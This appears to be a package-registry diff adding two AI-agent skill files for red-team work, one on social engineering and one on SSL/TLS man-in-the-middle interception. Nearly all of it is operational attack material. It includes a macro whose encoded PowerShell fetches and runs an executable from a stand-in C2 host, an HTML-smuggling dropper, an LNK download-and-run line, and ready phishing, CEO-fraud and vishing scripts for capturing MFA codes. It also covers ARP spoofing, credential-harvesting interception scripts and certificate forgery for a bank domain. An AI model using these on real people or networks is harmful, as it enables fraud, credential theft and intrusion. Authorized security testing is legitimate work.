rtexit-method 0.1.3 → 0.1.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,401 @@
1
+ ---
2
+ name: rt-social-engineering
3
+ description: "Social engineering master skill for authorized red team engagements. Phishing lure crafting (HTML clone, credential harvest, macro payloads), spear phishing with OSINT targeting, email spoofing and DMARC bypass, BEC (Business Email Compromise) chain development, vishing scripts with pretext development, pretexting for physical access, and GoPhish campaign setup. Use when the engagement scope includes human-factor testing."
4
+ ---
5
+
6
+ # rt-social-engineering — Social Engineering Master Skill
7
+
8
+ ## Overview
9
+
10
+ Social engineering is exploiting human psychology rather than technical vulnerabilities. In red team engagements, it is often the fastest path to initial access — a single clicked link bypasses years of perimeter hardening. This skill covers end-to-end social engineering campaign planning, execution, and documentation.
11
+
12
+ **Covers:**
13
+ - Phishing (email-based credential harvest and payload delivery)
14
+ - Spear Phishing (targeted, OSINT-driven)
15
+ - Business Email Compromise (BEC)
16
+ - Vishing (phone-based)
17
+ - Smishing (SMS-based)
18
+ - Pretexting for physical access
19
+ - Campaign infrastructure setup (GoPhish, Evilginx2, Modlishka)
20
+
21
+ **Authorization note:** Every technique here requires explicit written scope. ROE must specify: allowed targets, allowed domains, allowed lure types, and notification procedures if a target reports the test.
22
+
23
+ ---
24
+
25
+ ## Phase 1 — Target Profiling (OSINT-Driven)
26
+
27
+ Before crafting any lure, build the target profile.
28
+
29
+ ```bash
30
+ # Email harvesting — find employee emails
31
+ theHarvester -d corp.com -l 500 -b google,bing,linkedin,hunter
32
+ # Cross-reference with LinkedIn
33
+ python3 linkedin2username.py -u 'attacker@gmail.com' -c 'Target Company' -n 5
34
+
35
+ # Find org chart structure (who reports to who)
36
+ # LinkedIn advanced search → "Target Company" → filter by department
37
+ # Identify: IT admins, finance team, executives, HR
38
+
39
+ # Find names + email format
40
+ curl "https://hunter.io/api/v2/domain-search?domain=corp.com&api_key=KEY"
41
+ # Reveals: {first}.{last}@corp.com or {first}{last}@corp.com
42
+
43
+ # Find recent news / events (pretext material)
44
+ site:corp.com filetype:pdf OR filetype:docx # leaked documents
45
+ site:linkedin.com "Target Company" "we are hiring" # hiring events = IT changes
46
+ "Target Company" "new office" OR "system migration" OR "security update" # pretext hooks
47
+ ```
48
+
49
+ ---
50
+
51
+ ## Phase 2 — Infrastructure Setup
52
+
53
+ ### 2a — Domain Setup (Lookalike / Typosquatting)
54
+
55
+ ```bash
56
+ # Find available typosquats
57
+ dnstwist corp.com --format csv | head -20
58
+ # Examples: c0rp.com, corp-security.com, corp-helpdesk.com, corpsupport.com
59
+
60
+ # Register domain (use privacy protection)
61
+ # Set up DNS: A record → phishing server, MX → mail server
62
+
63
+ # Configure SPF, DKIM, DMARC to appear legitimate
64
+ # SPF: "v=spf1 ip4:YOUR_IP ~all"
65
+ # DKIM: generate keys → add TXT record
66
+ # DMARC: "v=DMARC1; p=none; rua=mailto:you@yourinfra.com"
67
+ # p=none = reports only, no rejection → maximizes delivery
68
+ ```
69
+
70
+ ### 2b — GoPhish Campaign Server
71
+
72
+ ```bash
73
+ # Install GoPhish
74
+ wget https://github.com/gophish/gophish/releases/latest/download/gophish-linux-64bit.zip
75
+ unzip gophish-linux-64bit.zip && chmod +x gophish
76
+
77
+ # Edit config.json
78
+ {
79
+ "admin_server": {"listen_url": "127.0.0.1:3333", "use_tls": true},
80
+ "phish_server": {"listen_url": "0.0.0.0:443", "use_tls": true,
81
+ "cert_path": "/etc/letsencrypt/live/corp-helpdesk.com/fullchain.pem",
82
+ "key_path": "/etc/letsencrypt/live/corp-helpdesk.com/privkey.pem"}
83
+ }
84
+
85
+ ./gophish &
86
+ # Access admin: https://127.0.0.1:3333 (SSH tunnel if needed)
87
+ ```
88
+
89
+ ### 2c — Evilginx2 (Reverse Proxy Phishing — Bypasses MFA)
90
+
91
+ ```bash
92
+ # Evilginx2 captures session cookies even with MFA enabled
93
+ git clone https://github.com/kgretzky/evilginx2
94
+ cd evilginx2 && go build
95
+
96
+ ./evilginx2 -p ./phishlets -c /root/.evilginx
97
+
98
+ # Configure domain
99
+ config domain corp-helpdesk.com
100
+ config ip YOUR_SERVER_IP
101
+
102
+ # Load phishlet (pre-built for Microsoft 365, Google, etc.)
103
+ phishlets hostname o365 corp-helpdesk.com
104
+ phishlets enable o365
105
+
106
+ # Create lure
107
+ lures create o365
108
+ lures get-url 0
109
+ # Output: https://corp-helpdesk.com/login → captures session token
110
+ ```
111
+
112
+ ---
113
+
114
+ ## Phase 3 — Credential Harvest Phishing
115
+
116
+ ### 3a — Clone Target Login Page
117
+
118
+ ```bash
119
+ # Clone with httrack
120
+ httrack https://corp.com/login -O ./clone/ "+*.corp.com" -v
121
+
122
+ # Or use SET (Social Engineering Toolkit)
123
+ setoolkit
124
+ # 1) Social Engineering Attacks
125
+ # 2) Website Attack Vectors
126
+ # 3) Credential Harvester Attack Method
127
+ # 2) Site Cloner
128
+ # Enter URL to clone: https://login.microsoftonline.com
129
+
130
+ # Modify cloned page — redirect credentials to your server
131
+ # In index.html: change form action to your collector endpoint
132
+ ```
133
+
134
+ ### 3b — Email Template (Microsoft 365 Password Expiry — High Open Rate)
135
+
136
+ ```
137
+ Subject: [Action Required] Your Microsoft 365 password expires in 24 hours
138
+
139
+ From: IT-Security <no-reply@corp-helpdesk.com>
140
+ To: victim@corp.com
141
+
142
+ Dear [First Name],
143
+
144
+ Your Microsoft 365 account password is scheduled to expire in 24 hours.
145
+ To avoid interruption to your email and Teams access, please update your
146
+ password immediately using the link below:
147
+
148
+ ► Update Password Now → https://corp-helpdesk.com/renew
149
+
150
+ If you have already updated your password, please disregard this message.
151
+
152
+ IT Security Team
153
+ Corp Technology Services
154
+ ```
155
+
156
+ ### 3c — Send Campaign (GoPhish)
157
+
158
+ ```
159
+ GoPhish Setup:
160
+ 1. Sending Profile: SMTP relay (SendGrid, Amazon SES, or self-hosted Postfix)
161
+ 2. Email Template: paste crafted template, add {{.FirstName}} {{.LastName}} tokens
162
+ 3. Landing Page: import cloned login page, capture submitted data
163
+ 4. Target Group: import CSV (first,last,email,position)
164
+ 5. Campaign: link all 4 → launch → monitor results
165
+ ```
166
+
167
+ ---
168
+
169
+ ## Phase 4 — Payload Delivery Phishing
170
+
171
+ ### 4a — Office Macro Payload (VBA)
172
+
173
+ ```vba
174
+ ' Word/Excel macro — execute on document open
175
+ Sub AutoOpen()
176
+ AutoRun
177
+ End Sub
178
+
179
+ Sub AutoRun()
180
+ Dim cmd As String
181
+ cmd = "powershell -WindowStyle Hidden -EncodedCommand " & _
182
+ "JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAEMAMgAvAHMAaABlAGwAbAAuAGUAeABlACcALAAnAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAcwBoAGUAbABsAC4AZQB4AGUAJwApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACcAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABzAGgAZQBsAGwALgBlAHgAZQAnAA=="
183
+ Shell "cmd.exe /c " & cmd, vbHide
184
+ End Sub
185
+ ```
186
+
187
+ ### 4b — HTML Smuggling (Bypass Email Filters)
188
+
189
+ ```html
190
+ <!-- Payload assembles in browser — not scanned by email gateways -->
191
+ <html><body>
192
+ <script>
193
+ const b64 = "TVqQAAMAAAAEAAAA..."; // base64 encoded exe
194
+ const blob = new Blob([Uint8Array.from(atob(b64), c => c.charCodeAt(0))],
195
+ {type: "application/octet-stream"});
196
+ const a = document.createElement('a');
197
+ a.href = URL.createObjectURL(blob);
198
+ a.download = "Invoice_2026.exe";
199
+ document.body.appendChild(a);
200
+ a.click();
201
+ </script>
202
+ <p>Your invoice is downloading...</p>
203
+ </body></html>
204
+ ```
205
+
206
+ ### 4c — ISO / LNK File (Modern Delivery — No Mark-of-the-Web)
207
+
208
+ ```bash
209
+ # ISO bypasses MOTW — contents not scanned by Defender
210
+ # Create ISO containing: LNK file + hidden payload
211
+
212
+ # LNK target:
213
+ # cmd.exe /c start /min powershell -w hidden -c "iwr http://C2/s.exe -o $env:TEMP\s.exe; & $env:TEMP\s.exe"
214
+
215
+ # Package into ISO
216
+ mkisofs -o invoice.iso ./payload_folder/
217
+
218
+ # Email as attachment: "Invoice_2026.iso"
219
+ # User double-clicks ISO (mounts it) → sees Invoice.lnk → clicks → payload runs
220
+ ```
221
+
222
+ ---
223
+
224
+ ## Phase 5 — Business Email Compromise (BEC)
225
+
226
+ ### 5a — CEO / CFO Fraud Chain
227
+
228
+ ```
229
+ STEP 1 — Reconnaissance
230
+ - Identify CEO name: LinkedIn, company website
231
+ - Identify CFO / Finance Manager: LinkedIn
232
+ - Find CEO email format from OSINT: john.smith@corp.com
233
+
234
+ STEP 2 — Lookalike email setup
235
+ - Register: john.smith@c0rp.com OR john.smith@corp-int.com
236
+ - Configure reply-to: actual CEO email (to monitor replies)
237
+
238
+ STEP 3 — Initial contact (CEO → CFO)
239
+ Subject: Confidential — Time Sensitive
240
+
241
+ Hi Sarah,
242
+
243
+ I'm currently in a board meeting and need your urgent assistance with a
244
+ wire transfer. This is related to a confidential acquisition — please do
245
+ not discuss with anyone else until we speak.
246
+
247
+ Can you handle a $47,000 transfer today? I'll call you after 3pm to
248
+ discuss. Please confirm you received this.
249
+
250
+ John
251
+
252
+ STEP 4 — Follow-up pressure (if no response)
253
+ Subject: Re: Confidential — Time Sensitive
254
+
255
+ Sarah, please confirm. The window for this deal closes at 5pm EST.
256
+ The legal team is waiting on our end.
257
+
258
+ J.
259
+
260
+ STEP 5 — Wire instructions (after target confirms)
261
+ Provide attacker-controlled bank account details.
262
+ In real engagements: use a controlled test account, document instead.
263
+ ```
264
+
265
+ ### 5b — IT Helpdesk Impersonation → Credential Theft
266
+
267
+ ```
268
+ From: it-helpdesk@corp-support.com
269
+ To: employee@corp.com
270
+ Subject: Mandatory Security Update — Action Required by EOD
271
+
272
+ Hi [Name],
273
+
274
+ Our security team has detected unusual login activity on your account
275
+ from an unrecognized device (Windows 11, Chicago, IL).
276
+
277
+ To secure your account, please verify your identity here:
278
+ https://corp-helpdesk.com/verify [GoPhish / Evilginx link]
279
+
280
+ If you did not attempt to log in, your account may be compromised.
281
+ Please act within 2 hours to avoid account suspension.
282
+
283
+ IT Security — Corp Technology
284
+ ```
285
+
286
+ ---
287
+
288
+ ## Phase 6 — Vishing (Phone Social Engineering)
289
+
290
+ ### 6a — IT Helpdesk → Password Reset
291
+
292
+ ```
293
+ PRETEXT: IT Helpdesk calling about security issue
294
+
295
+ [Script]
296
+ "Hi, this is [Name] from the IT Security team. I'm calling regarding
297
+ your account — we've flagged some suspicious activity in our monitoring
298
+ system this morning.
299
+
300
+ We're seeing failed login attempts from [made-up IP/location].
301
+ I need to verify your identity and walk you through a quick security check.
302
+
303
+ Can you confirm your employee ID for me? ...
304
+
305
+ Great. And what email address do you have on file? ...
306
+
307
+ Perfect. I'm going to send you a verification code right now —
308
+ can you read that back to me when you receive it?"
309
+
310
+ [Goal: get MFA OTP code in real-time → log in simultaneously]
311
+ ```
312
+
313
+ ### 6b — Finance / Wire Fraud Call
314
+
315
+ ```
316
+ PRETEXT: Executive assistant calling on behalf of CEO
317
+
318
+ "Hi, this is [Name], executive assistant to [CEO Name].
319
+ [CEO] asked me to follow up on an email he sent you earlier today
320
+ regarding a confidential transaction.
321
+
322
+ Were you able to review his email? ... He's in meetings all day
323
+ but wanted to make sure this gets processed before the close of business.
324
+
325
+ He mentioned he'll approve the transaction code verbally —
326
+ can I ask what system you use to process wire transfers? ..."
327
+ ```
328
+
329
+ ---
330
+
331
+ ## Phase 7 — Pretexting for Physical Access
332
+
333
+ ```
334
+ SCENARIO A — Delivery Person
335
+ Materials: clipboard, package box, high-visibility vest
336
+ Script: "Delivery for [name from LinkedIn] in IT. They asked me to
337
+ bring it directly up — do you know where the server room is?"
338
+
339
+ SCENARIO B — IT Contractor
340
+ Materials: polo shirt, laptop bag, printed "work order"
341
+ Script: "Hi, I'm here from [MSP/vendor name from OSINT] to service
342
+ the [server/network equipment] in rack 3B. I have a work order —
343
+ can you badge me in? My access card hasn't been provisioned yet."
344
+
345
+ SCENARIO C — New Employee
346
+ Materials: company-branded printouts, laptop
347
+ Script: "Hi, I just started this week on the [department] team —
348
+ I'm trying to find my desk. Do you know where [manager name from LinkedIn] sits?"
349
+ ```
350
+
351
+ ---
352
+
353
+ ## Campaign Metrics & Reporting
354
+
355
+ ```
356
+ Key metrics to capture:
357
+ - Open rate: emails opened / emails sent
358
+ - Click rate: links clicked / emails opened
359
+ - Credential submission rate: forms submitted / links clicked
360
+ - Payload execution rate: payloads run / payloads delivered
361
+ - Report rate: targets who reported the phish to IT
362
+
363
+ GoPhish exports CSV with all events.
364
+ Document in rt-finding-document with:
365
+ - CWE-1021 (Improper Restriction of Rendered UI Layers)
366
+ - MITRE ATT&CK: T1566 (Phishing), T1598 (Phishing for Info)
367
+ - Business impact: X% of employees surrendered credentials
368
+ ```
369
+
370
+ ---
371
+
372
+ ## Skill Levels
373
+
374
+ **BEGINNER:**
375
+ - GoPhish with cloned Microsoft 365 login page
376
+ - Generic credential harvest campaign
377
+
378
+ **INTERMEDIATE:**
379
+ - OSINT-driven spear phishing with personalized lures
380
+ - Evilginx2 for MFA bypass
381
+ - ISO/LNK payload delivery
382
+
383
+ **ADVANCED:**
384
+ - BEC chain (CEO fraud, wire transfer)
385
+ - Vishing + simultaneous MFA capture
386
+ - Multi-stage campaigns (build rapport over days)
387
+
388
+ **EXPERT:**
389
+ - Combining phishing initial access + physical tailgating
390
+ - Custom implant delivery via HTML smuggling
391
+ - Long-term pretexting (weeks-long persona building)
392
+
393
+ ---
394
+
395
+ ## References
396
+
397
+ - GoPhish: https://getgophish.com
398
+ - Evilginx2: https://github.com/kgretzky/evilginx2
399
+ - Social Engineering Toolkit: https://github.com/trustedsec/social-engineer-toolkit
400
+ - MITRE ATT&CK T1566: https://attack.mitre.org/techniques/T1566/
401
+ - PayloadsAllTheThings/Phishing: https://github.com/swisskyrepo/PayloadsAllTheThings
@@ -0,0 +1,305 @@
1
+ ---
2
+ name: rt-ssl-mitm
3
+ description: "SSL/TLS interception and Man-in-the-Middle skill for authorized engagements. mitmproxy transparent proxy setup, Burp Suite MITM configuration, custom CA certificate injection, SSL stripping with SSLstrip2, HSTS bypass, certificate pinning bypass (mobile/desktop), TLS downgrade attacks, and traffic decryption workflows. Use when testing HTTPS applications, intercepting mobile app traffic, or demonstrating insecure TLS configurations."
4
+ ---
5
+
6
+ # rt-ssl-mitm — SSL/TLS Interception & Man-in-the-Middle
7
+
8
+ ## Overview
9
+
10
+ SSL/TLS MITM attacks intercept encrypted HTTPS traffic between a client and server. In authorized red team engagements, this demonstrates: weak certificate validation, missing HSTS, bypassable certificate pinning, insecure TLS configurations, and cleartext credential exposure after decryption.
11
+
12
+ **Attack scenarios:**
13
+ - Intercept mobile app traffic (no certificate pinning)
14
+ - Demonstrate SSL stripping on internal network
15
+ - Forge certificates to impersonate internal services
16
+ - Decrypt TLS traffic for credential harvesting
17
+ - TLS downgrade to expose weak cipher suites
18
+
19
+ ---
20
+
21
+ ## Prerequisites
22
+
23
+ ```bash
24
+ # Install tools
25
+ pip3 install mitmproxy
26
+ apt install sslstrip2 bettercap wireshark tcpdump -y
27
+
28
+ # Burp Suite Pro/Community — https://portswigger.net/burp
29
+ # mitmproxy — https://mitmproxy.org
30
+ ```
31
+
32
+ ---
33
+
34
+ ## Method 1 — mitmproxy (Full HTTPS Interception)
35
+
36
+ ### 1a — Transparent Proxy (No client config needed — network position)
37
+
38
+ ```bash
39
+ # Enable IP forwarding
40
+ echo 1 > /proc/sys/net/ipv4/ip_forward
41
+
42
+ # ARP spoof target (position yourself between target and gateway)
43
+ arpspoof -i eth0 -t TARGET_IP GATEWAY_IP &
44
+ arpspoof -i eth0 -t GATEWAY_IP TARGET_IP &
45
+
46
+ # Redirect HTTP and HTTPS to mitmproxy
47
+ iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
48
+ iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
49
+
50
+ # Start mitmproxy in transparent mode
51
+ mitmproxy --mode transparent --showhost
52
+
53
+ # Or mitmdump (no UI — log to file)
54
+ mitmdump --mode transparent --showhost -w traffic.mitm
55
+
56
+ # View captured traffic
57
+ mitmproxy -r traffic.mitm
58
+ ```
59
+
60
+ ### 1b — Regular Proxy Mode (Configure browser/app to use proxy)
61
+
62
+ ```bash
63
+ # Start mitmproxy
64
+ mitmproxy -p 8080
65
+
66
+ # Or with web UI
67
+ mitmweb -p 8080
68
+ # Access: http://127.0.0.1:8081
69
+
70
+ # Install mitmproxy CA cert on target device
71
+ # CA cert location: ~/.mitmproxy/mitmproxy-ca-cert.pem
72
+ # Android: Settings → Security → Install from storage
73
+ # iOS: Settings → General → Profile → Install
74
+ # Windows: certmgr.msc → Trusted Root CAs → Import
75
+ # Linux: cp mitmproxy-ca-cert.pem /usr/local/share/ca-certificates/ && update-ca-certificates
76
+ ```
77
+
78
+ ### 1c — mitmproxy Scripts (Extract credentials automatically)
79
+
80
+ ```python
81
+ # cred_extractor.py — auto-extract POST credentials
82
+ from mitmproxy import http
83
+ import re
84
+
85
+ def request(flow: http.HTTPFlow):
86
+ if flow.request.method == "POST":
87
+ body = flow.request.get_text()
88
+ # Extract common credential patterns
89
+ patterns = [
90
+ r'(password|passwd|pass|pwd)=([^&\s]+)',
91
+ r'(username|user|login|email)=([^&\s]+)',
92
+ r'"(password|token|api_key)"\s*:\s*"([^"]+)"',
93
+ ]
94
+ for p in patterns:
95
+ for m in re.findall(p, body, re.IGNORECASE):
96
+ print(f"[CRED] {flow.request.host} | {m[0]}={m[1]}")
97
+ # Log all POST to file
98
+ with open("/tmp/posts.log", "a") as f:
99
+ f.write(f"\n=== {flow.request.host}{flow.request.path} ===\n{body}\n")
100
+ ```
101
+
102
+ ```bash
103
+ # Run with script
104
+ mitmproxy -p 8080 -s cred_extractor.py
105
+ ```
106
+
107
+ ---
108
+
109
+ ## Method 2 — Burp Suite MITM
110
+
111
+ ```bash
112
+ # Start Burp Suite → Proxy → Options
113
+ # Bind: 0.0.0.0:8080 (all interfaces)
114
+ # Import Burp CA: http://burpsuite/cert → download → install on target
115
+
116
+ # Intercept all HTTPS from target network
117
+ # Add upstream proxy chain if needed:
118
+ # User Options → Connections → Upstream Proxy → add target network gateway
119
+
120
+ # Burp invisible proxy (for non-proxy-aware clients)
121
+ # Proxy → Options → Edit listener → Request Handling
122
+ # ☑ Support invisible proxying
123
+ # Add iptables redirect rules (same as mitmproxy transparent)
124
+ iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8080
125
+ ```
126
+
127
+ ---
128
+
129
+ ## Method 3 — SSL Stripping (HTTP Downgrade)
130
+
131
+ ```bash
132
+ # SSLstrip2 + bettercap — downgrades HTTPS to HTTP even with HSTS (partially)
133
+
134
+ # Method A: bettercap (modern, all-in-one)
135
+ bettercap -iface eth0
136
+
137
+ # In bettercap console:
138
+ net.probe on # Discover hosts
139
+ set arp.spoof.targets TARGET_IP
140
+ arp.spoof on # Position as MITM
141
+ set net.sniff.verbose true
142
+ net.sniff on # Capture traffic
143
+ https.proxy on # SSL strip
144
+
145
+ # Method B: sslstrip2
146
+ python3 sslstrip2.py -l 10000 -w stripped.log
147
+
148
+ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
149
+
150
+ # HSTS bypass technique: rename www.target.com → wwww.target.com (extra w)
151
+ # If HSTS not pinned to subdomains, works on some sites
152
+ ```
153
+
154
+ ---
155
+
156
+ ## Method 4 — Custom CA Certificate Forgery
157
+
158
+ ```bash
159
+ # Generate your own CA
160
+ openssl genrsa -out myCA.key 4096
161
+ openssl req -x509 -new -nodes -key myCA.key -sha256 -days 1825 \
162
+ -out myCA.pem \
163
+ -subj "/C=US/ST=NY/O=Corp IT/CN=Corp Internal CA"
164
+
165
+ # Sign a fake certificate for any domain
166
+ openssl genrsa -out fake.key 2048
167
+ openssl req -new -key fake.key -out fake.csr \
168
+ -subj "/CN=login.bank.com/O=Bank Corp/C=US"
169
+
170
+ openssl x509 -req -in fake.csr -CA myCA.pem -CAkey myCA.key \
171
+ -CAcreateserial -out fake.crt -days 365 -sha256 \
172
+ -extfile <(printf "subjectAltName=DNS:login.bank.com,DNS:*.bank.com")
173
+
174
+ # Configure nginx to serve with fake cert
175
+ server {
176
+ listen 443 ssl;
177
+ server_name login.bank.com;
178
+ ssl_certificate /path/to/fake.crt;
179
+ ssl_certificate_key /path/to/fake.key;
180
+ location / { proxy_pass https://real-login.bank.com; }
181
+ }
182
+ # If target has your CA installed → no browser warning
183
+ ```
184
+
185
+ ---
186
+
187
+ ## Method 5 — TLS Configuration Audit & Downgrade
188
+
189
+ ```bash
190
+ # Test TLS configuration of target
191
+ testssl.sh https://target.com
192
+ # Checks: supported versions, cipher suites, HSTS, HPKP, certificate issues
193
+
194
+ # Check for weak ciphers
195
+ nmap --script ssl-enum-ciphers -p 443 target.com
196
+ # Look for: SSLv3, TLSv1.0, TLSv1.1, RC4, DES, EXPORT ciphers
197
+
198
+ # Check certificate details
199
+ openssl s_client -connect target.com:443 -showcerts 2>/dev/null | openssl x509 -noout -text
200
+ # Look for: SHA1 signature, weak key size (<2048), expired, wrong SAN
201
+
202
+ # TLS downgrade test
203
+ openssl s_client -connect target.com:443 -tls1 # Force TLS 1.0
204
+ openssl s_client -connect target.com:443 -ssl3 # Force SSLv3 (POODLE)
205
+ openssl s_client -connect target.com:443 -cipher RC4-SHA # Force RC4
206
+
207
+ # BEAST/POODLE/DROWN scanner
208
+ python3 test-rc4.py target.com
209
+ ```
210
+
211
+ ---
212
+
213
+ ## Method 6 — Certificate Pinning Bypass
214
+
215
+ ```bash
216
+ # Mobile apps pin the server certificate — MITM fails without bypass
217
+ # See also: rt-exploit-android / rt-exploit-ios for Frida-based bypass
218
+
219
+ # Universal pinning bypass (Frida)
220
+ frida -U -f com.target.app --no-pause -s ssl-pinning-bypass.js
221
+ # Scripts: github.com/httptoolkit/frida-interception-and-unpinning
222
+
223
+ # objection (easier)
224
+ objection -g com.target.app explore
225
+ objection> android sslpinning disable
226
+ objection> ios sslpinning disable
227
+
228
+ # Desktop apps (Charles/mitmproxy CA install + bypass)
229
+ # Electron: nodeIntegration=true → patch tlsSocket
230
+ # .NET: add custom CertificateValidationCallback returning true
231
+ # Java: override TrustManager to accept all certs
232
+ ```
233
+
234
+ ---
235
+
236
+ ## Method 7 — Network-Wide Interception (Internal Red Team)
237
+
238
+ ```bash
239
+ # Full internal network MITM — intercept all HTTPS traffic on subnet
240
+
241
+ # Step 1 — ARP spoof entire subnet (use carefully — can cause DoS)
242
+ bettercap -iface eth0 -eval "set arp.spoof.targets 192.168.1.0/24; arp.spoof on; net.sniff on"
243
+
244
+ # Step 2 — Redirect all HTTPS to mitmproxy
245
+ iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8080
246
+ mitmproxy --mode transparent
247
+
248
+ # Step 3 — Parse captured traffic
249
+ mitmdump -r traffic.mitm -q --flow-detail 3 | grep -i "password\|token\|Authorization"
250
+
251
+ # Step 4 — Extract credentials from MITM dump
252
+ python3 << 'EOF'
253
+ from mitmproxy.io import FlowReader
254
+ with open("traffic.mitm", "rb") as f:
255
+ reader = FlowReader(f)
256
+ for flow in reader.stream():
257
+ if hasattr(flow, 'request') and flow.request.method == "POST":
258
+ print(f"HOST: {flow.request.host}")
259
+ print(f"BODY: {flow.request.get_text()[:500]}")
260
+ print("---")
261
+ EOF
262
+ ```
263
+
264
+ ---
265
+
266
+ ## Skill Levels
267
+
268
+ **BEGINNER:** Burp Suite proxy + install CA cert → intercept browser traffic
269
+
270
+ **INTERMEDIATE:** mitmproxy transparent proxy + ARP spoof → network-wide interception + credential extraction script
271
+
272
+ **ADVANCED:** SSL stripping with bettercap + HSTS bypass + certificate forgery for internal services
273
+
274
+ **EXPERT:** Custom mitmproxy scripts for automated credential harvesting + TLS fingerprint analysis + certificate pinning bypass on hardened apps
275
+
276
+ ---
277
+
278
+ ## Findings Documentation
279
+
280
+ ```
281
+ Finding: SSL/TLS Interception Possible
282
+ Severity: HIGH
283
+ CVSS: 7.4 (AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)
284
+ MITRE: T1557.002 (ARP Cache Poisoning), T1040 (Network Sniffing)
285
+
286
+ Evidence:
287
+ - Screenshot of intercepted credentials in mitmproxy
288
+ - List of hosts with no HSTS or HPKP
289
+ - TLS version support matrix from testssl.sh
290
+
291
+ Remediation:
292
+ - Enforce HSTS with max-age=31536000; includeSubDomains; preload
293
+ - Implement certificate pinning in mobile/desktop apps
294
+ - Disable TLS 1.0/1.1 and weak cipher suites
295
+ - Deploy 802.1X on internal network to prevent ARP spoofing
296
+ ```
297
+
298
+ ---
299
+
300
+ ## References
301
+
302
+ - mitmproxy docs: https://docs.mitmproxy.org
303
+ - bettercap: https://www.bettercap.org
304
+ - testssl.sh: https://github.com/drwetter/testssl.sh
305
+ - MITRE T1557: https://attack.mitre.org/techniques/T1557/